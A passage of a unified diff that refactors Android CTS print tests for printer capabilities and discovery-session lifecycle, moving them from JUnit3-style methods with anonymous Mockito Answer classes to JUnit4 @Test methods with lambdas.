-     * @param availAfter  If the printer should be available after the change
-     * @param msAfter     The media size of the printer after the change
-     *
-     * @throws Exception If anything is unexpected
-     */
-    private void testCase(final StubbablePrinterDiscoverySession[] session,
-            final PrinterId[] printerId, final boolean availBefore, final MediaSize msBefore,
-            final boolean availAfter, final MediaSize msAfter) throws Exception {
-        if (!supportsPrinting()) {
-            return;
-        }
-
-        Log.i(LOG_TAG, "Test case: " + availBefore + ", " + msBefore + " -> " + availAfter + ", "
-                + msAfter);
-
-        final PrintAttributes[] layoutAttributes = new PrintAttributes[1];
-        final PrintAttributes[] writeAttributes = new PrintAttributes[1];
-
-        PrintDocumentAdapter adapter = createMockPrintDocumentAdapter(
-                new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) throws Throwable {
-                        LayoutResultCallback callback = (LayoutResultCallback) invocation
-                                .getArguments()[3];
-                        PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
-                                .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
-                                .setPageCount(1)
-                                .build();
-
-                        synchronized (PrinterCapabilitiesTest.this) {
-                            layoutAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
-
-                            PrinterCapabilitiesTest.this.notify();
-                        }
-
-                        callback.onLayoutFinished(info, true);
-                        return null;
-                    }
-                },
-                new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) throws Throwable {
-                        Object[] args = invocation.getArguments();
-                        PageRange[] pages = (PageRange[]) args[0];
-                        ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
-                        WriteResultCallback callback = (WriteResultCallback) args[3];
-
-                        writeBlankPages(layoutAttributes[0], fd, pages[0].getStart(),
-                                pages[0].getEnd());
-                        fd.close();
-
-                        synchronized (PrinterCapabilitiesTest.this) {
-                            writeAttributes[0] = layoutAttributes[0];
-
-                            PrinterCapabilitiesTest.this.notify();
-                        }
-
-                        callback.onWriteFinished(pages);
-                        return null;
-                    }
-                }, null);
-
-        // Start printing.
-        print(adapter);
-
-        // Select the printer.
-        selectPrinter(PRINTER_NAME);
-
-        changeCapabilities(session[0], printerId[0], msBefore, availBefore);
-        if (availBefore && msBefore != null) {
-            waitForMediaSizeChange(layoutAttributes, msBefore);
-            waitForMediaSizeChange(writeAttributes, msBefore);
-        } else {
-            waitForPrinterUnavailable();
-        }
-
-        changeCapabilities(session[0], printerId[0], msAfter, availAfter);
-        if (availAfter && msAfter != null) {
-            waitForMediaSizeChange(layoutAttributes, msAfter);
-            waitForMediaSizeChange(writeAttributes, msAfter);
-        } else {
-            waitForPrinterUnavailable();
-        }
-
-        // Reset printer to default in case discovery session is reused
-        changeCapabilities(session[0], printerId[0], MediaSize.NA_LETTER, true);
-        waitForMediaSizeChange(layoutAttributes, MediaSize.NA_LETTER);
-        waitForMediaSizeChange(writeAttributes, MediaSize.NA_LETTER);
-
-        getUiDevice().pressBack();
-
-        // Wait until PrintActivity is gone
-        Thread.sleep(500);
-    }
-
-    /**
-     * Tests that the printActivity propertly requests (layout and write) updates when the printer
-     * capabilities change. This tests all combination of changes.
-     *
-     * @throws Exception If something is unexpected.
-     */
-    public void testPrinterCapabilityChange() throws Exception {
-        // The session might be reused between test cases, hence carry them from test case to case
-        final StubbablePrinterDiscoverySession[] session = new StubbablePrinterDiscoverySession[1];
-        final PrinterId[] printerId = new PrinterId[1];
-
-        // Create the session[0] callbacks that we will be checking.
-        final PrinterDiscoverySessionCallbacks firstSessionCallbacks =
-                createMockPrinterDiscoverySessionCallbacks(new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) {
-                        session[0] = ((PrinterDiscoverySessionCallbacks) invocation.getMock())
-                                .getSession();
-
-                        printerId[0] = session[0].getService().generatePrinterId(PRINTER_NAME);
-
-                        session[0].addPrinters(generatePrinters(printerId[0], MediaSize.NA_LETTER,
-                                PrinterInfo.STATUS_IDLE));
-                        return null;
-                    }
-                }, null, null, null, null, null, new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) {
-                        onPrinterDiscoverySessionDestroyCalled();
-                        return null;
-                    }
-                });
-
-        // Create the service callbacks for the first print service.
-        PrintServiceCallbacks firstServiceCallbacks = createMockPrintServiceCallbacks(
-                new Answer<PrinterDiscoverySessionCallbacks>() {
-                    @Override
-                    public PrinterDiscoverySessionCallbacks answer(InvocationOnMock invocation) {
-                        return firstSessionCallbacks;
-                    }
-                }, null, null);
-
-        // Configure the print services.
-        FirstPrintService.setCallbacks(firstServiceCallbacks);
-        SecondPrintService.setCallbacks(createMockPrintServiceCallbacks(null, null, null));
-
-        testCase(session, printerId, false, null, false, null);
-        testCase(session, printerId, false, null, false, MediaSize.ISO_A0);
-        testCase(session, printerId, false, null, false, MediaSize.ISO_B0);
-        testCase(session, printerId, false, null, true, null);
-        testCase(session, printerId, false, null, true, MediaSize.ISO_A0);
-        testCase(session, printerId, false, null, true, MediaSize.ISO_B0);
-        testCase(session, printerId, false, MediaSize.ISO_A0, false, null);
-        testCase(session, printerId, false, MediaSize.ISO_A0, false, MediaSize.ISO_A0);
-        testCase(session, printerId, false, MediaSize.ISO_A0, false, MediaSize.ISO_B0);
-        testCase(session, printerId, false, MediaSize.ISO_A0, true, null);
-        testCase(session, printerId, false, MediaSize.ISO_A0, true, MediaSize.ISO_A0);
-        testCase(session, printerId, false, MediaSize.ISO_A0, true, MediaSize.ISO_B0);
-        testCase(session, printerId, true, null, false, null);
-        testCase(session, printerId, true, null, false, MediaSize.ISO_B0);
-        testCase(session, printerId, true, null, true, null);
-        testCase(session, printerId, true, null, true, MediaSize.ISO_B0);
-        testCase(session, printerId, true, MediaSize.ISO_A0, false, null);
-        testCase(session, printerId, true, MediaSize.ISO_A0, false, MediaSize.ISO_A0);
-        testCase(session, printerId, true, MediaSize.ISO_A0, false, MediaSize.ISO_B0);
-        testCase(session, printerId, true, MediaSize.ISO_A0, true, null);
-        testCase(session, printerId, true, MediaSize.ISO_A0, true, MediaSize.ISO_A0);
-        testCase(session, printerId, true, MediaSize.ISO_A0, true, MediaSize.ISO_B0);
-
-        waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
-    }
-
-    /**
-     * Run a runnable and expect and exception of a certain type.
-     *
-     * @param r The runnable to run
-     * @param expectedClass The expected exception type
-     */
-    private void assertException(Runnable r, Class<? extends RuntimeException> expectedClass) {
-        try {
-            r.run();
-        } catch (Exception e) {
-            if (e.getClass().isAssignableFrom(expectedClass)) {
-                return;
-            } else {
-                throw new AssertionError("Expected: " + expectedClass.getName() + ", got: "
-                        + e.getClass().getName());
-            }
-        }
-
-        throw new AssertionError("No exception thrown");
-    }
+    private static boolean sDefaultPrinterBeenSet;
 
     /**
      * That that you cannot create illegal PrinterCapabilityInfos.
      *
      * @throws Exception If anything is unexpected
      */
-    public void testIllegalPrinterCapabilityInfos() throws Exception {
-        if (!supportsPrinting()) {
-            return;
-        }
-
+    @Test
+    public void illegalPrinterCapabilityInfos() throws Exception {
         final PrinterDiscoverySessionCallbacks firstSessionCallbacks =
-                createMockPrinterDiscoverySessionCallbacks(new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) {
-                        StubbablePrinterDiscoverySession session =
-                                ((PrinterDiscoverySessionCallbacks)
-                                        invocation.getMock()).getSession();
+                createMockPrinterDiscoverySessionCallbacks(invocation -> {
+                    StubbablePrinterDiscoverySession session =
+                            ((PrinterDiscoverySessionCallbacks)
+                                    invocation.getMock()).getSession();
 
-                        PrinterId printerId = session.getService().generatePrinterId(PRINTER_NAME);
+                    PrinterId printerId = session.getService().generatePrinterId(PRINTER_NAME);
 
-                        // printerId need to be set
-                        assertException(() -> new PrinterCapabilitiesInfo.Builder(null),
-                                IllegalArgumentException.class);
+                    // printerId need to be set
+                    assertException(() -> new PrinterCapabilitiesInfo.Builder(null),
+                            IllegalArgumentException.class);
 
-                        // All capability fields (beside duplex) need to be initialized:
-                        // Test no color
-                        assertException(() ->
-                                        (new PrinterCapabilitiesInfo.Builder(printerId))
-                                                .setMinMargins(DEFAULT_MARGINS)
-                                                .addMediaSize(MediaSize.ISO_A4, true)
-                                                .addResolution(RESOLUTION_300, true).build(),
-                                IllegalStateException.class);
-                        // Test bad colors
-                        assertException(() ->
-                                        (new PrinterCapabilitiesInfo.Builder(printerId))
-                                                .setColorModes(0xffff,
-                                                        PrintAttributes.COLOR_MODE_MONOCHROME),
-                                IllegalArgumentException.class);
-                        // Test bad duplex mode
-                        assertException(() ->
-                                        (new PrinterCapabilitiesInfo.Builder(printerId))
-                                                .setDuplexModes(0xffff,
-                                                        PrintAttributes.DUPLEX_MODE_NONE),
-                                IllegalArgumentException.class);
-                        // Test no mediasize
-                        assertException(() ->
-                                        (new PrinterCapabilitiesInfo.Builder(printerId))
-                                                .setColorModes(PrintAttributes.COLOR_MODE_COLOR,
-                                                        PrintAttributes.COLOR_MODE_COLOR)
-                                                .setMinMargins(DEFAULT_MARGINS)
-                                                .addResolution(RESOLUTION_300, true).build(),
-                                IllegalStateException.class);
-                        // Test no default mediasize
-                        assertException(() ->
-                                        (new PrinterCapabilitiesInfo.Builder(printerId))
-                                                .setColorModes(PrintAttributes.COLOR_MODE_COLOR,
-                                                        PrintAttributes.COLOR_MODE_COLOR)
-                                                .setMinMargins(DEFAULT_MARGINS)
-                                                .addMediaSize(MediaSize.ISO_A4, false)
-                                                .addResolution(RESOLUTION_300, true).build(),
-                                IllegalStateException.class);
-                        // Test two default mediasizes
-                        assertException(() ->
-                                        (new PrinterCapabilitiesInfo.Builder(printerId))
-                                                .addMediaSize(MediaSize.ISO_A4, true)
-                                                .addMediaSize(MediaSize.ISO_A5, true),
-                                IllegalArgumentException.class);
-                        // Test no resolution
-                        assertException(() ->
-                                        (new PrinterCapabilitiesInfo.Builder(printerId))
-                                                .setColorModes(PrintAttributes.COLOR_MODE_COLOR,
-                                                        PrintAttributes.COLOR_MODE_COLOR)
-                                                .setMinMargins(DEFAULT_MARGINS)
-                                                .addMediaSize(MediaSize.ISO_A4, true).build(),
-                                IllegalStateException.class);
-                        // Test no default resolution
-                        assertException(() ->
-                                        (new PrinterCapabilitiesInfo.Builder(printerId))
-                                                .setColorModes(PrintAttributes.COLOR_MODE_COLOR,
-                                                        PrintAttributes.COLOR_MODE_COLOR)
-                                                .setMinMargins(DEFAULT_MARGINS)
-                                                .addMediaSize(MediaSize.ISO_A4, true)
-                                                .addResolution(RESOLUTION_300, false).build(),
-                                IllegalStateException.class);
-                        // Test two default resolutions
-                        assertException(() ->
-                                        (new PrinterCapabilitiesInfo.Builder(printerId))
-                                                .addResolution(RESOLUTION_300, true)
-                                                .addResolution(RESOLUTION_600, true),
-                                IllegalArgumentException.class);
+                    // All capability fields (beside duplex) need to be initialized:
+                    // Test no color
+                    assertException(() ->
+                                    (new PrinterCapabilitiesInfo.Builder(printerId))
+                                            .setMinMargins(DEFAULT_MARGINS)
+                                            .addMediaSize(MediaSize.ISO_A4, true)
+                                            .addResolution(RESOLUTION_300, true).build(),
+                            IllegalStateException.class);
+                    // Test bad colors
+                    assertException(() ->
+                                    (new PrinterCapabilitiesInfo.Builder(printerId))
+                                            .setColorModes(0xffff,
+                                                    PrintAttributes.COLOR_MODE_MONOCHROME),
+                            IllegalArgumentException.class);
+                    // Test bad duplex mode
+                    assertException(() ->
+                                    (new PrinterCapabilitiesInfo.Builder(printerId))
+                                            .setDuplexModes(0xffff,
+                                                    PrintAttributes.DUPLEX_MODE_NONE),
+                            IllegalArgumentException.class);
+                    // Test no mediasize
+                    assertException(() ->
+                                    (new PrinterCapabilitiesInfo.Builder(printerId))
+                                            .setColorModes(PrintAttributes.COLOR_MODE_COLOR,
+                                                    PrintAttributes.COLOR_MODE_COLOR)
+                                            .setMinMargins(DEFAULT_MARGINS)
+                                            .addResolution(RESOLUTION_300, true).build(),
+                            IllegalStateException.class);
+                    // Test no default mediasize
+                    assertException(() ->
+                                    (new PrinterCapabilitiesInfo.Builder(printerId))
+                                            .setColorModes(PrintAttributes.COLOR_MODE_COLOR,
+                                                    PrintAttributes.COLOR_MODE_COLOR)
+                                            .setMinMargins(DEFAULT_MARGINS)
+                                            .addMediaSize(MediaSize.ISO_A4, false)
+                                            .addResolution(RESOLUTION_300, true).build(),
+                            IllegalStateException.class);
+                    // Test two default mediasizes
+                    assertException(() ->
+                                    (new PrinterCapabilitiesInfo.Builder(printerId))
+                                            .addMediaSize(MediaSize.ISO_A4, true)
+                                            .addMediaSize(MediaSize.ISO_A5, true),
+                            IllegalArgumentException.class);
+                    // Test no resolution
+                    assertException(() ->
+                                    (new PrinterCapabilitiesInfo.Builder(printerId))
+                                            .setColorModes(PrintAttributes.COLOR_MODE_COLOR,
+                                                    PrintAttributes.COLOR_MODE_COLOR)
+                                            .setMinMargins(DEFAULT_MARGINS)
+                                            .addMediaSize(MediaSize.ISO_A4, true).build(),
+                            IllegalStateException.class);
+                    // Test no default resolution
+                    assertException(() ->
+                                    (new PrinterCapabilitiesInfo.Builder(printerId))
+                                            .setColorModes(PrintAttributes.COLOR_MODE_COLOR,
+                                                    PrintAttributes.COLOR_MODE_COLOR)
+                                            .setMinMargins(DEFAULT_MARGINS)
+                                            .addMediaSize(MediaSize.ISO_A4, true)
+                                            .addResolution(RESOLUTION_300, false).build(),
+                            IllegalStateException.class);
+                    // Test two default resolutions
+                    assertException(() ->
+                                    (new PrinterCapabilitiesInfo.Builder(printerId))
+                                            .addResolution(RESOLUTION_300, true)
+                                            .addResolution(RESOLUTION_600, true),
+                            IllegalArgumentException.class);
 
-                        onPrinterDiscoverySessionCreateCalled();
-                        return null;
-                    }
-                }, null, null, null, null, null, new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) {
-                        onPrinterDiscoverySessionDestroyCalled();
-                        return null;
-                    }
+                    onPrinterDiscoverySessionCreateCalled();
+                    return null;
+                }, null, null, null, null, null, invocation -> {
+                    onPrinterDiscoverySessionDestroyCalled();
+                    return null;
                 });
 
         // Create the service callbacks for the first print service.
         PrintServiceCallbacks firstServiceCallbacks = createMockPrintServiceCallbacks(
-                new Answer<PrinterDiscoverySessionCallbacks>() {
-                    @Override
-                    public PrinterDiscoverySessionCallbacks answer(InvocationOnMock invocation) {
-                        return firstSessionCallbacks;
-                    }
-                }, null, null);
+                invocation -> firstSessionCallbacks, null, null);
 
         // Configure the print services.
         FirstPrintService.setCallbacks(firstServiceCallbacks);
@@ -487,97 +177,117 @@
      *
      * @throws Exception If anything is unexpected
      */
-    public void testSanePrinterCapabilityInfos() throws Exception {
-        if (!supportsPrinting()) {
-            return;
-        }
-
+    @Test
+    public void sanePrinterCapabilityInfos() throws Exception {
         final PrinterDiscoverySessionCallbacks firstSessionCallbacks =
-                createMockPrinterDiscoverySessionCallbacks(new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) {
-                        StubbablePrinterDiscoverySession session =
-                                ((PrinterDiscoverySessionCallbacks)
-                                        invocation.getMock()).getSession();
+                createMockPrinterDiscoverySessionCallbacks(invocation -> {
+                    StubbablePrinterDiscoverySession session =
+                            ((PrinterDiscoverySessionCallbacks)
+                                    invocation.getMock()).getSession();
 
-                        MediaSize[] mediaSizes = {MediaSize.ISO_A0, MediaSize.ISO_A0,
-                                MediaSize.ISO_A1};
-                        Resolution[] resolutions = {RESOLUTION_300, RESOLUTION_300,
-                                RESOLUTION_600};
-                        int[] colorModes = {PrintAttributes.COLOR_MODE_MONOCHROME,
-                                PrintAttributes.COLOR_MODE_COLOR};
-                        int[] duplexModes = {PrintAttributes.DUPLEX_MODE_NONE,
-                                PrintAttributes.DUPLEX_MODE_LONG_EDGE,
-                                PrintAttributes.DUPLEX_MODE_SHORT_EDGE};
+                    MediaSize[] mediaSizes = {MediaSize.ISO_A0, MediaSize.ISO_A0,
+                            MediaSize.ISO_A1};
+                    Resolution[] resolutions = {RESOLUTION_300, RESOLUTION_300,
+                            RESOLUTION_600};
+                    int[] colorModes = {PrintAttributes.COLOR_MODE_MONOCHROME,
+                            PrintAttributes.COLOR_MODE_COLOR};
+                    int[] duplexModes = {PrintAttributes.DUPLEX_MODE_NONE,
+                            PrintAttributes.DUPLEX_MODE_LONG_EDGE,
+                            PrintAttributes.DUPLEX_MODE_SHORT_EDGE};
 
-                        ArrayList<PrinterInfo> printers = new ArrayList<>();
-                        for (int mediaSizeIndex = 1; mediaSizeIndex < mediaSizes.length;
-                             mediaSizeIndex++) {
-                            for (int resolutionIndex = 1; resolutionIndex < mediaSizes.length;
-                                 resolutionIndex++) {
-                                for (int colorIndex = 1; colorIndex < colorModes.length;
-                                     colorIndex++) {
-                                    for (int duplexIndex = 1; duplexIndex < duplexModes.length;
-                                         duplexIndex++) {
-                                        PrinterId printerId = session.getService()
-                                                .generatePrinterId(Integer.valueOf(printers.size())
-                                                        .toString());
+                    ArrayList<PrinterInfo> printers = new ArrayList<>();
+                    for (int mediaSizeIndex = 1; mediaSizeIndex < mediaSizes.length;
+                         mediaSizeIndex++) {
+                        for (int resolutionIndex = 1; resolutionIndex < mediaSizes.length;
+                             resolutionIndex++) {
+                            for (int colorIndex = 1; colorIndex < colorModes.length;
+                                 colorIndex++) {
+                                for (int duplexIndex = 1; duplexIndex < duplexModes.length;
+                                     duplexIndex++) {
+                                    PrinterId printerId = session.getService()
+                                            .generatePrinterId(Integer.valueOf(printers.size())
+                                                    .toString());
 
-                                        PrinterCapabilitiesInfo.Builder b =
-                                                new PrinterCapabilitiesInfo.Builder(printerId);
+                                    // Setup capabilities
+                                    PrinterCapabilitiesInfo.Builder b =
+                                            new PrinterCapabilitiesInfo.Builder(printerId);
 
-                                        for (int i = 0; i < mediaSizeIndex; i++) {
-                                            b.addMediaSize(mediaSizes[i], i == mediaSizeIndex - 1);
-                                        }
-
-                                        for (int i = 0; i < resolutionIndex; i++) {
-                                            b.addResolution(resolutions[i],
-                                                    i == resolutionIndex - 1);
-                                        }
-
-                                        int allColors = 0;
-                                        for (int i = 0; i < colorIndex; i++) {
-                                            allColors |= colorModes[i];
-                                        }
-                                        b.setColorModes(allColors, colorModes[colorIndex - 1]);
-
-                                        int allDuplexModes = 0;
-                                        for (int i = 0; i < duplexIndex; i++) {
-                                            allDuplexModes |= duplexModes[i];
-                                        }
-                                        b.setDuplexModes(allDuplexModes,
-                                                duplexModes[duplexIndex - 1]);
-
-                                        printers.add((new PrinterInfo.Builder(printerId,
-                                                Integer.valueOf(printers.size()).toString(),
-                                                PrinterInfo.STATUS_IDLE)).setCapabilities(b.build())
-                                                .build());
+                                    for (int i = 0; i < mediaSizeIndex; i++) {
+                                        b.addMediaSize(mediaSizes[i], i == mediaSizeIndex - 1);
                                     }
+
+                                    for (int i = 0; i < resolutionIndex; i++) {
+                                        b.addResolution(resolutions[i],
+                                                i == resolutionIndex - 1);
+                                    }
+
+                                    int allColors = 0;
+                                    for (int i = 0; i < colorIndex; i++) {
+                                        allColors |= colorModes[i];
+                                    }
+                                    b.setColorModes(allColors, colorModes[colorIndex - 1]);
+
+                                    int allDuplexModes = 0;
+                                    for (int i = 0; i < duplexIndex; i++) {
+                                        allDuplexModes |= duplexModes[i];
+                                    }
+                                    b.setDuplexModes(allDuplexModes,
+                                            duplexModes[duplexIndex - 1]);
+
+                                    b.setMinMargins(DEFAULT_MARGINS);
+
+                                    // Create printer
+                                    PrinterInfo printer = (new PrinterInfo.Builder(printerId,
+                                            Integer.valueOf(printers.size()).toString(),
+                                            PrinterInfo.STATUS_IDLE)).setCapabilities(b.build())
+                                            .build();
+
+                                    // Verify capabilities
+                                    PrinterCapabilitiesInfo cap = printer.getCapabilities();
+
+                                    assertEquals(mediaSizeIndex, cap.getMediaSizes().size());
+                                    assertEquals(mediaSizes[mediaSizeIndex - 1],
+                                            cap.getDefaults().getMediaSize());
+                                    for (int i = 0; i < mediaSizeIndex; i++) {
+                                        assertTrue(cap.getMediaSizes().contains(mediaSizes[i]));
+                                    }
+
+                                    assertEquals(resolutionIndex, cap.getResolutions().size());
+                                    assertEquals(resolutions[resolutionIndex - 1],
+                                            cap.getDefaults().getResolution());
+                                    for (int i = 0; i < resolutionIndex; i++) {
+                                        assertTrue(cap.getResolutions().contains(resolutions[i]));
+                                    }
+
+                                    assertEquals(allColors, cap.getColorModes());
+                                    assertEquals(colorModes[colorIndex - 1],
+                                            cap.getDefaults().getColorMode());
+
+                                    assertEquals(allDuplexModes, cap.getDuplexModes());
+                                    assertEquals(duplexModes[duplexIndex - 1],
+                                            cap.getDefaults().getDuplexMode());
+
+                                    assertEquals(DEFAULT_MARGINS, cap.getMinMargins());
+
+                                    // Add printer
+                                    printers.add(printer);
                                 }
                             }
                         }
-
-                        session.addPrinters(printers);
-
-                        onPrinterDiscoverySessionCreateCalled();
-                        return null;
                     }
-                }, null, null, null, null, null, new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) {
-                        onPrinterDiscoverySessionDestroyCalled();
-                        return null;
-                    }
+
+                    session.addPrinters(printers);
+
+                    onPrinterDiscoverySessionCreateCalled();
+                    return null;
+                }, null, null, null, null, null, invocation -> {
+                    onPrinterDiscoverySessionDestroyCalled();
+                    return null;
                 });
 
         // Create the service callbacks for the first print service.
         PrintServiceCallbacks firstServiceCallbacks = createMockPrintServiceCallbacks(
-                new Answer<PrinterDiscoverySessionCallbacks>() {
-                    @Override
-                    public PrinterDiscoverySessionCallbacks answer(InvocationOnMock invocation) {
-                        return firstSessionCallbacks;
-                    }
-                }, null, null);
+                invocation -> firstSessionCallbacks, null, null);
 
         // Configure the print services.
         FirstPrintService.setCallbacks(firstServiceCallbacks);
@@ -603,47 +313,32 @@
      */
     private void testPrinterCapabilityInfo(final Function<PrinterId, PrinterCapabilitiesInfo>
             capBuilder, Consumer<PrintAttributes> test) throws Exception {
-        if (!supportsPrinting()) {
-            return;
-        }
-
         final PrinterDiscoverySessionCallbacks firstSessionCallbacks =
-                createMockPrinterDiscoverySessionCallbacks(new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) {
-                        StubbablePrinterDiscoverySession session =
-                                ((PrinterDiscoverySessionCallbacks)
-                                        invocation.getMock()).getSession();
+                createMockPrinterDiscoverySessionCallbacks(invocation -> {
+                    StubbablePrinterDiscoverySession session =
+                            ((PrinterDiscoverySessionCallbacks)
+                                    invocation.getMock()).getSession();
 
-                        PrinterId printerId = session.getService()
-                                .generatePrinterId(PRINTER_NAME);
+                    PrinterId printerId = session.getService()
+                            .generatePrinterId(PRINTER_NAME);
 
-                        ArrayList<PrinterInfo> printers = new ArrayList<>();
-                        printers.add((new PrinterInfo.Builder(printerId, PRINTER_NAME,
-                                PrinterInfo.STATUS_IDLE))
-                                .setCapabilities(capBuilder.apply(printerId)).build());
+                    ArrayList<PrinterInfo> printers = new ArrayList<>();
+                    printers.add((new PrinterInfo.Builder(printerId, PRINTER_NAME,
+                            PrinterInfo.STATUS_IDLE))
+                            .setCapabilities(capBuilder.apply(printerId)).build());
 
-                        session.addPrinters(printers);
+                    session.addPrinters(printers);
 
-                        onPrinterDiscoverySessionCreateCalled();
-                        return null;
-                    }
-                }, null, null, null, null, null, new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) {
-                        onPrinterDiscoverySessionDestroyCalled();
-                        return null;
-                    }
+                    onPrinterDiscoverySessionCreateCalled();
+                    return null;
+                }, null, null, null, null, null, invocation -> {
+                    onPrinterDiscoverySessionDestroyCalled();
+                    return null;
                 });
 
         // Create the service callbacks for the first print service.
         PrintServiceCallbacks firstServiceCallbacks = createMockPrintServiceCallbacks(
-                new Answer<PrinterDiscoverySessionCallbacks>() {
-                    @Override
-                    public PrinterDiscoverySessionCallbacks answer(InvocationOnMock invocation) {
-                        return firstSessionCallbacks;
-                    }
-                }, null, null);
+                invocation -> firstSessionCallbacks, null, null);
 
         // Configure the print services.
         FirstPrintService.setCallbacks(firstServiceCallbacks);
@@ -652,35 +347,29 @@
         final PrintAttributes[] layoutAttributes = new PrintAttributes[1];
 
         PrintDocumentAdapter adapter = createMockPrintDocumentAdapter(
-                new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) throws Throwable {
-                        LayoutResultCallback callback = (LayoutResultCallback) invocation
-                                .getArguments()[3];
-                        PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
-                                .setPageCount(1)
-                                .build();
-                        layoutAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
+                invocation -> {
+                    LayoutResultCallback callback = (LayoutResultCallback) invocation
+                            .getArguments()[3];
+                    PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
+                            .setPageCount(1)
+                            .build();
+                    layoutAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
 
-                        callback.onLayoutFinished(info, true);
-                        return null;
-                    }
+                    callback.onLayoutFinished(info, true);
+                    return null;
                 },
-                new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) throws Throwable {
-                        Object[] args = invocation.getArguments();
-                        PageRange[] pages = (PageRange[]) args[0];
-                        ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
-                        WriteResultCallback callback = (WriteResultCallback) args[3];
+                invocation -> {
+                    Object[] args = invocation.getArguments();
+                    PageRange[] pages = (PageRange[]) args[0];
+                    ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
+                    WriteResultCallback callback = (WriteResultCallback) args[3];
 
-                        writeBlankPages(layoutAttributes[0], fd, pages[0].getStart(),
-                                pages[0].getEnd());
-                        fd.close();
+                    writeBlankPages(layoutAttributes[0], fd, pages[0].getStart(),
+                            pages[0].getEnd());
+                    fd.close();
 
-                        callback.onWriteFinished(pages);
-                        return null;
-                    }
+                    callback.onWriteFinished(pages);
+                    return null;
                 }, null);
 
         // Start printing.
@@ -689,12 +378,17 @@
         // make sure that options does not crash
         openPrintOptions();
 
-        // Select printer under test
-        selectPrinter(PRINTER_NAME);
+        if (!sDefaultPrinterBeenSet) {
+            // Select printer under test
+            selectPrinter(PRINTER_NAME);
+        }
 
         clickPrintButton();
 
-        answerPrintServicesWarning(true);
+        if (!sDefaultPrinterBeenSet) {
+            answerPrintServicesWarning(true);
+            sDefaultPrinterBeenSet = true;
+        }
 
         test.accept(layoutAttributes[0]);
 
@@ -707,7 +401,8 @@
      *
      * @throws Exception If anything is unexpected
      */
-    public void testInvalidDefaultColor() throws Exception {
+    @Test
+    public void invalidDefaultColor() throws Exception {
         testPrinterCapabilityInfo(
                 (printerId) -> (new PrinterCapabilitiesInfo.Builder(printerId))
                         .addMediaSize(MediaSize.ISO_A4, true)
@@ -724,7 +419,8 @@
      *
      * @throws Exception If anything is unexpected
      */
-    public void testInvalidDefaultDuplexMode() throws Exception {
+    @Test
+    public void invalidDefaultDuplexMode() throws Exception {
         testPrinterCapabilityInfo(
                 (printerId) -> (new PrinterCapabilitiesInfo.Builder(printerId))
                         .addMediaSize(MediaSize.ISO_A4, true)
diff --git a/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java b/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java
index defbee3..499d21e 100644
--- a/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java
+++ b/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java
@@ -16,18 +16,15 @@
 
 package android.print.cts;
 
+import static android.print.cts.Utils.*;
+import static org.junit.Assert.*;
 import static org.mockito.Mockito.inOrder;
 
-import android.os.ParcelFileDescriptor;
-import android.print.PageRange;
 import android.print.PrintAttributes;
 import android.print.PrintAttributes.Margins;
 import android.print.PrintAttributes.MediaSize;
 import android.print.PrintAttributes.Resolution;
 import android.print.PrintDocumentAdapter;
-import android.print.PrintDocumentAdapter.LayoutResultCallback;
-import android.print.PrintDocumentAdapter.WriteResultCallback;
-import android.print.PrintDocumentInfo;
 import android.print.PrinterCapabilitiesInfo;
 import android.print.PrinterId;
 import android.print.PrinterInfo;
@@ -39,10 +36,12 @@
 import android.printservice.PrintJob;
 import android.printservice.PrinterDiscoverySession;
 
+import android.support.test.runner.AndroidJUnit4;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 import org.mockito.InOrder;
 import org.mockito.exceptions.verification.VerificationInOrderFailure;
-import org.mockito.invocation.InvocationOnMock;
-import org.mockito.stubbing.Answer;
 
 import java.util.ArrayList;
 import java.util.Collections;
@@ -52,6 +51,7 @@
  * This test verifies that the system respects the {@link PrinterDiscoverySession}
  * contract is respected.
  */
+@RunWith(AndroidJUnit4.class)
 public class PrinterDiscoverySessionLifecycleTest extends BasePrintTest {
     private static final String FIRST_PRINTER_NAME = "First printer";
     private static final String SECOND_PRINTER_NAME = "Second printer";
@@ -59,38 +59,35 @@
     private static final String FIRST_PRINTER_LOCAL_ID= "first_printer";
     private static final String SECOND_PRINTER_LOCAL_ID = "second_printer";
 
-    public void testNormalLifecycle() throws Exception {
-        if (!supportsPrinting()) {
-            return;
-        }
+    private static StubbablePrinterDiscoverySession sSession;
+
+    @Before
+    public void clearPrintSpoolerState() throws Exception {
+        clearPrintSpoolerData();
+    }
+
+    @Test
+    public void normalLifecycle() throws Throwable {
         // Create the session callbacks that we will be checking.
         final PrinterDiscoverySessionCallbacks firstSessionCallbacks =
                 createFirstMockPrinterDiscoverySessionCallbacks();
 
         // Create the service callbacks for the first print service.
         PrintServiceCallbacks firstServiceCallbacks = createMockPrintServiceCallbacks(
-                new Answer<PrinterDiscoverySessionCallbacks>() {
-                @Override
-                public PrinterDiscoverySessionCallbacks answer(InvocationOnMock invocation) {
-                        return firstSessionCallbacks;
-                    }
-                },
-                new Answer<Void>() {
